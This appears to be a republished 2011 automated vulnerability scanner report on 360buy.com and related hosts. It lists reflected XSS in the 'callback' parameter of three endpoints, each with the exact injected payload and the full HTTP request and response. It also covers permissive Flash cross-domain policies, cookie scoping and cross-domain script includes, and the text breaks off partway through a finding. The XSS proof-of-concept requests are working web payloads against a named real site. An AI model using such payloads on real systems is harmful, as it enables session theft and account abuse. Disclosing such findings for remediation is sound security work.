XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, 360buy.com

Report generated by XSS.CX at Tue Aug 16 10:24:45 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in 360buy.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://www.360buy.com/JdService.aspx [callback parameter]

1.2. http://www.360buy.com/limitBuy.aspx [callback parameter]

1.3. http://www.360buy.com/lishi.aspx [callback parameter]

2. Flash cross-domain policy

2.1. http://g.miaozhen.com/crossdomain.xml

2.2. http://js.miaozhen.com/crossdomain.xml

2.3. http://feeds.bbci.co.uk/crossdomain.xml

2.4. http://newsrss.bbc.co.uk/crossdomain.xml

3. Cookie scoped to parent domain

4. Cross-domain Referer leakage

4.1. http://misc.360buyimg.com/201007/js/g.base.js

4.2. http://www.360buy.com/script/AD_miaozhen.js

5. Cross-domain script include

5.1. http://www.360buy.com/

5.2. http://www.360buy.com/a

5.3. http://www.360buy.com/home.html

5.4. http://www.360buy.com/products/1620-1621-1629.html

5.5. http://www.360buy.com/script/AD_miaozhen.js

6. Cookie without HttpOnly flag set

7. TRACE method is enabled

8. Credit card numbers disclosed

9. Robots.txt file

9.1. http://clients1.google.com/complete/search

9.2. http://feeds.bbci.co.uk/news/rss.xml

9.3. http://newsrss.bbc.co.uk/rss/newsonline_world_edition/front_page/rss.xml

9.4. http://passport.360buy.com/new/hello.aspx

9.5. http://price.360buy.com/ows/GetIPLocation.aspx

9.6. http://safebrowsing-cache.google.com/safebrowsing/rd/ChVnb29nLWJhZGJpbnVybC1zaGF2YXIQARjFEiDGEjIFRQkAAAM

9.7. http://safebrowsing.clients.google.com/safebrowsing/downloads

9.8. http://toolbarqueries.clients.google.com/tbproxy/af/query

9.9. http://www.360buy.com/

10. HTML does not specify charset

10.1. http://360buy.a.miaozhen.com/a.gif

10.2. http://360buy.com/

10.3. http://g.miaozhen.com/x.gif

11. HTML uses unrecognised charset

11.1. http://360buy.com/favicon.ico

11.2. http://chongzhi.360buy.com/index-1.htm

11.3. http://passport.360buy.com/new/hello.aspx

11.4. http://price.360buy.com/PromotionFlag.aspx

11.5. http://price.360buy.com/ows/GetIPLocation.aspx

11.6. http://www.360buy.com/

11.7. http://www.360buy.com/JdService.aspx

11.8. http://www.360buy.com/a

11.9. http://www.360buy.com/home.html

11.10. http://www.360buy.com/limitBuy.aspx

11.11. http://www.360buy.com/lishi.aspx

11.12. http://www.360buy.com/products/1620-1621-1629.html

12. Content type incorrectly stated

12.1. http://360buy.a.miaozhen.com/a.gif

12.2. http://g.miaozhen.com/x.gif

12.3. http://misc.360buyimg.com/201007/js/g.base.js

12.4. http://misc.360buyimg.com/201007/js/p.plist20110721.js

12.5. http://passport.360buy.com/new/hello.aspx

12.6. http://price.360buy.com/PromotionFlag.aspx

12.7. http://price.360buy.com/ows/GetIPLocation.aspx

12.8. http://simigoods.360buy.com/js/BiForWeb.js

12.9. http://wl.360buy.com/wl.js

12.10. http://www.360buy.com/JdService.aspx

12.11. http://www.360buy.com/limitBuy.aspx

12.12. http://www.360buy.com/lishi.aspx

12.13. http://www.360buy.com/script/AD_miaozhen.js



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.360buy.com/JdService.aspx [callback parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /JdService.aspx

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 8fb2d<img%20src%3da%20onerror%3dalert(1)>cb0a7f8777b was submitted in the callback parameter. This input was echoed as 8fb2d<img src=a onerror=alert(1)>cb0a7f8777b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /JdService.aspx?callback=GetJdwsmentsCallback8fb2d<img%20src%3da%20onerror%3dalert(1)>cb0a7f8777b&action=GetJdwsment&skuids=402392,268743,268752,268751,185596,228672,228666,268726,268742,287473,268790,268800,268732,1000378884,1000378985,381469,378361,228673,493082,1000378959,1000380059,228668,268739,287548,334117,268713,169218,274522,381466,228664,169187,378368,268740,268771,228665,268758&key=40B8138E2EDEA7DBD94BE8DCF5A5500B9DC7F08A HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:21:55 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=600
Last-Modified: Tue, 16 Aug 2011 16:21:34 GMT
Vary: Content-Type
X-Cache: MISS from TJ-HY-WWW-90.360buy.com
Connection: close

GetJdwsmentsCallback8fb2d<img src=a onerror=alert(1)>cb0a7f8777b({"html":[{"Wid":402392,"AdTitle":"\u76F4\u964D40\u5143\uFF01"},{"Wid":1000378884,"AdTitle":"\u5168\u573A\u6E05\u4ED3~\uFF01\uFF01\uFF01"},{"Wid":334117,"AdTitle":"\u767E\u8D27\u6E05\u4ED3\uFF01"},{"Wi
...[SNIP]...

1.2. http://www.360buy.com/limitBuy.aspx [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /limitBuy.aspx

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 9c070<img%20src%3da%20onerror%3dalert(1)>61598b9a075 was submitted in the callback parameter. This input was echoed as 9c070<img src=a onerror=alert(1)>61598b9a075 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /limitBuy.aspx?callback=jsonp13135114245059c070<img%20src%3da%20onerror%3dalert(1)>61598b9a075&ids=535,536,537,538&_=1313511432022 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:20:17 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=180
Last-Modified: Tue, 16 Aug 2011 16:20:17 GMT
Vary: Content-Type
X-Cache: MISS from TJ-HY-WWW-35.360buy.com
Connection: close

jsonp13135114245059c070<img src=a onerror=alert(1)>61598b9a075({'data':[{'qid':'535','start':'2011-8-17 0:20:17','server':'2011-8-17 0:20:17','end':'2011-08-17 09:00:00','pros':[{'mc':'%u4E09%u661F%uFF08%u0053%u0041%u004D%u0053%u0055%u004E%u0047%uFF09%u0059%u0050
...[SNIP]...

1.3. http://www.360buy.com/lishi.aspx [callback parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /lishi.aspx

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload a66a3<img%20src%3da%20onerror%3dalert(1)>50d308ce9ef was submitted in the callback parameter. This input was echoed as a66a3<img src=a onerror=alert(1)>50d308ce9ef in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /lishi.aspx?callback=category.getBrandServicea66a3<img%20src%3da%20onerror%3dalert(1)>50d308ce9ef&id=a,915,925^b,916,926^c,917,927^d,918,928^e,919,929^f,920,930^g,921,931^h,922,932^i,923,933^j,924,934^k,2096,2097^l,3512,3513 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:21:56 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: public, max-age=3600
Last-Modified: Tue, 16 Aug 2011 16:21:53 GMT
Vary: Content-Type
X-Cache: MISS from TJ-HY-WWW-32.360buy.com
Connection: close

category.getBrandServicea66a3<img src=a onerror=alert(1)>50d308ce9ef({'data':[{id:'a',b:[{u:'http://market.360buy.com/zhuanmai/joyoung/index.aspx',n:'..........'},{u:'http://market.360buy.com/zhuanmai/tcl/index.aspx',n:'TCL'},{u:'http://market.360buy.com/zhuanmai/supor
...[SNIP]...

2. Flash cross-domain policy  previous  next
There are 4 instances of this issue:

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.


2.1. http://g.miaozhen.com/crossdomain.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://g.miaozhen.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.1
Host: g.miaozhen.com
Proxy-Connection: keep-alive
Referer: http://js.miaozhen.com/a.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'
Cache-Control: private, max-age=8640000
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "3709331003"
Last-Modified: Wed, 26 Jan 2011 07:41:18 GMT
Content-Length: 264
Date: Tue, 16 Aug 2011 16:17:08 GMT
Server: Apache4MiaoZhen 2.2.4

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request
...[SNIP]...

2.2. http://js.miaozhen.com/crossdomain.xml  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://js.miaozhen.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which allows access from any domain.

Allowing access from all domains means that any domain can perform two-way interaction with this application. Unless the application consists entirely of unprotected public content, this policy is likely to present a significant security risk.

Request

GET /crossdomain.xml HTTP/1.0
Host: js.miaozhen.com

Response

HTTP/1.0 200 OK
Connection: close
Content-Type: text/xml
Accept-Ranges: bytes
ETag: "1736309704"
Last-Modified: Wed, 26 Jan 2011 05:17:16 GMT
Content-Length: 264
Date: Tue, 16 Aug 2011 16:17:05 GMT
Server: Apache4MiaoZhen 2.2.4

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" />
<allow-http-request
...[SNIP]...

2.3. http://feeds.bbci.co.uk/crossdomain.xml  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://feeds.bbci.co.uk
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: feeds.bbci.co.uk

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 20 Apr 2011 09:07:59 GMT
Content-Type: text/xml
Cache-Control: max-age=115
Expires: Tue, 16 Aug 2011 16:24:31 GMT
Date: Tue, 16 Aug 2011 16:22:36 GMT
Content-Length: 1081
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-o
...[SNIP]...
<allow-access-from domain="downloads.bbc.co.uk" />
   <allow-access-from domain="www.bbcamerica.com" />
   <allow-access-from domain="*.bbcamerica.com" />
   <allow-access-from domain="www.bbc.co.uk" />
   <allow-access-from domain="news.bbc.co.uk" />
   <allow-access-from domain="newsimg.bbc.co.uk"/>
   <allow-access-from domain="nolpreview11.newsonline.tc.nca.bbc.co.uk" />
   <allow-access-from domain="newsrss.bbc.co.uk" />
   <allow-access-from domain="newsapi.bbc.co.uk" />
   <allow-access-from domain="extdev.bbc.co.uk" />
   <allow-access-from domain="stats.bbc.co.uk" />
   <allow-access-from domain="*.bbc.co.uk"/>
   <allow-access-from domain="*.bbci.co.uk"/>
   <allow-access-from domain="*.bbc.com"/>
...[SNIP]...
<allow-access-from domain="jam.bbc.co.uk" />
   <allow-access-from domain="dc01.dc.bbc.co.uk" />
...[SNIP]...

2.4. http://newsrss.bbc.co.uk/crossdomain.xml  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://newsrss.bbc.co.uk
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, allows access from specific other domains, and allows access from specific subdomains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Request

GET /crossdomain.xml HTTP/1.0
Host: newsrss.bbc.co.uk

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Wed, 20 Apr 2011 09:07:59 GMT
Content-Type: text/xml
Cache-Control: max-age=107
Expires: Tue, 16 Aug 2011 16:24:23 GMT
Date: Tue, 16 Aug 2011 16:22:36 GMT
Content-Length: 1081
Connection: close

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.adobe.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
   <site-control permitted-cross-domain-policies="master-o
...[SNIP]...
<allow-access-from domain="downloads.bbc.co.uk" />
   <allow-access-from domain="www.bbcamerica.com" />
   <allow-access-from domain="*.bbcamerica.com" />
   <allow-access-from domain="www.bbc.co.uk" />
   <allow-access-from domain="news.bbc.co.uk" />
   <allow-access-from domain="newsimg.bbc.co.uk"/>
   <allow-access-from domain="nolpreview11.newsonline.tc.nca.bbc.co.uk" />
...[SNIP]...
<allow-access-from domain="newsapi.bbc.co.uk" />
   <allow-access-from domain="extdev.bbc.co.uk" />
   <allow-access-from domain="stats.bbc.co.uk" />
   <allow-access-from domain="*.bbc.co.uk"/>
   <allow-access-from domain="*.bbci.co.uk"/>
   <allow-access-from domain="*.bbc.com"/>
...[SNIP]...
<allow-access-from domain="jam.bbc.co.uk" />
   <allow-access-from domain="dc01.dc.bbc.co.uk" />
...[SNIP]...

3. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://g.miaozhen.com
Path:   /x.gif

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /x.gif?0.152707828674465^b=111_2^c=http://www.360buy.com/^d=^f=10^h=1920*1200^j=en^p=0s0a^k=389^a============ HTTP/1.1
Host: g.miaozhen.com
Proxy-Connection: keep-alive
Referer: http://js.miaozhen.com/a.swf
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
P3P: CP='CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR'
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: a=eksbJ+X+---I; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: tsa=1108170016591000824814697; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Set-Cookie: c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0; path=/; domain=.miaozhen.com; expires=Thu, 31-Dec-2099 23:59:59 GMT
Content-Type: text/html
Content-Length: 111
Date: Tue, 16 Aug 2011 16:17:00 GMT
Server: Apache4MiaoZhen 2.2.4

a=eksbJ%2bX%2b---I&tsa=1108170016591000824814697&c=978B8B8FC5D0D0888888D1CCC9CF9D8A86D19C9092D0&ct=201108170017

4. Cross-domain Referer leakage  previous  next
There are 2 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


4.1. http://misc.360buyimg.com/201007/js/g.base.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://misc.360buyimg.com
Path:   /201007/js/g.base.js

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /201007/js/g.base.js?t=20110613 HTTP/1.1
Host: misc.360buyimg.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Content-Type: application/x-javascript
Vary: Accept-Encoding
Server: jdws
Date: Tue, 16 Aug 2011 16:13:23 GMT
Last-Modified: Tue, 26 Jul 2011 10:01:26 GMT
Expires: Thu, 15 Sep 2011 16:13:23 GMT
Cache-Control: max-age=2592000
Age: 1
Content-Length: 19693
X-Cache: HIT from TJ-TG-WWW-45.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

(function($){$.extend($.browser,{client:function(){return{width:document.documentElement.clientWidth,height:document.documentElement.clientHeight,bodyWidth:document.body.clientWidth,bodyHeight:documen
...[SNIP]...
ndefined"){return "";};s="^"+s+"^";var b=s.indexOf("^"+name+"=");if(-1==b){return "";}else{b+=name.length+2;};var e=s.indexOf("^",b);return s.substring(b,e);};function gi_get_monitor_code(k,p){return '<object classid="clsid:D27CDB6E-AE6D-11CF-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" border="0" width="0" height="0"><param name="movie" value="http://js.miaozhen.com/a.swf">
...[SNIP]...
<param name="FlashVars" value="caId='+k+'&SPID='+p+'&loc='+document.location.href+'&ref='+document.referrer+'"><embed src="http://js.miaozhen.com/a.swf" pluginspage="http://www.macromedia.com/go/getflashplayer" allowScriptAccess="always" type="application/x-shockwave-flash" width="0" height="0" FlashVars="caId='+k+'&SPID='+p+'&loc='+document.location.href+'&ref='+document.referrer+'"></embed>
...[SNIP]...

4.2. http://www.360buy.com/script/AD_miaozhen.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /script/AD_miaozhen.js

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Request

GET /script/AD_miaozhen.js?ref=1620&ref1=1621&ref2=1629 HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/products/1620-1621-1629.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.1.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ipLocation=

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 15:20:13 GMT
Content-Type: application/x-javascript; charset=gb2312
Vary: Accept-Encoding
Cache-Control: max-age=86400
Last-Modified: Fri, 20 Aug 2010 06:28:38 GMT
X-Cache: HIT from BJ-B28-WWW-152.360buy.com
Age: 1
Content-Length: 1087
X-Cache: HIT from TJ-HY-WWW-44.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

// JavaScript Document
var url = window.location.href.split("/")[4];
var id1=url.split('-')[0];
var id2=url.split('-')[1];
var id3=url.split('-')[2];

if(id3=="731"){
MiaoZhenAdShow(8410);
...[SNIP]...
</div><script type='text/javascript' src='http://360buy.a.miaozhen.com/a.gif?l="+ id +"'></script>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 5 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://www.360buy.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:15:44 GMT
Content-Type: text/html; charset=gb2312
Vary: Accept-Encoding
Cache-Control: max-age=120
Content-Location: http://www.360buy.com/index.htm
Last-Modified: Tue, 16 Aug 2011 16:14:24 GMT
X-Cache: HIT from BJ-B28-WWW-153.360buy.com
Age: 1
Content-Length: 185124
X-Cache: HIT from TJ-HY-WWW-99.360buy.com
Connection: Keep-alive
Keep-Alive: timeout=15, max=100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Cont
...[SNIP]...
<!--ModificationDate:2011-08-02-->
<script type="text/javascript" src="http://misc.360buyimg.com/201006/js/jquery-1.2.6.pack.js"></script>
<script type="text/javascript" src="http://misc.360buyimg.com/201007/js/g.base.js?t=20110613"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://misc.360buyimg.com/201007/js/jd.lib.js"></script>
...[SNIP]...

5.2. http://www.360buy.com/a  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.360buy.com
Path:   /a

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /a HTTP/1.1
Host: www.360buy.com
Proxy-Connection: keep-alive
Referer: http://www.360buy.com/JdService.aspx?callback=GetJdwsmentsCallback8fb2d%3Cimg%20src%3da%20onerror%3dalert(1)%3Ecb0a7f8777b&action=GetJdwsment&skuids=402392,268743,268752,268751,185596,228672,228666,268726,268742,287473,268790,268800,268732,1000378884,1000378985,381469,378361,228673,493082,1000378959,1000380059,228668,268739,287548,334117,268713,169218,274522,381466,228664,169187,378368,268740,268771,228665,268758&key=40B8138E2EDEA7DBD94BE8DCF5A5500B9DC7F08A
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: rush=1; ipLocation=; uuid=8a8b50c4-d92a-4508-a825-b2a88eed9b82; sid=b585546d-10bf-4af7-b2ba-b06397812292; __utma=97936925.105114693.1313511432.1313511432.1313511432.1; __utmb=97936925.2.10.1313511432; __utmc=97936925; __utmz=97936925.1313511432.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.0 200 OK
Server: jdws
Date: Tue, 16 Aug 2011 16:22:29 GMT
Content-Type: text/html; charset=gb2312
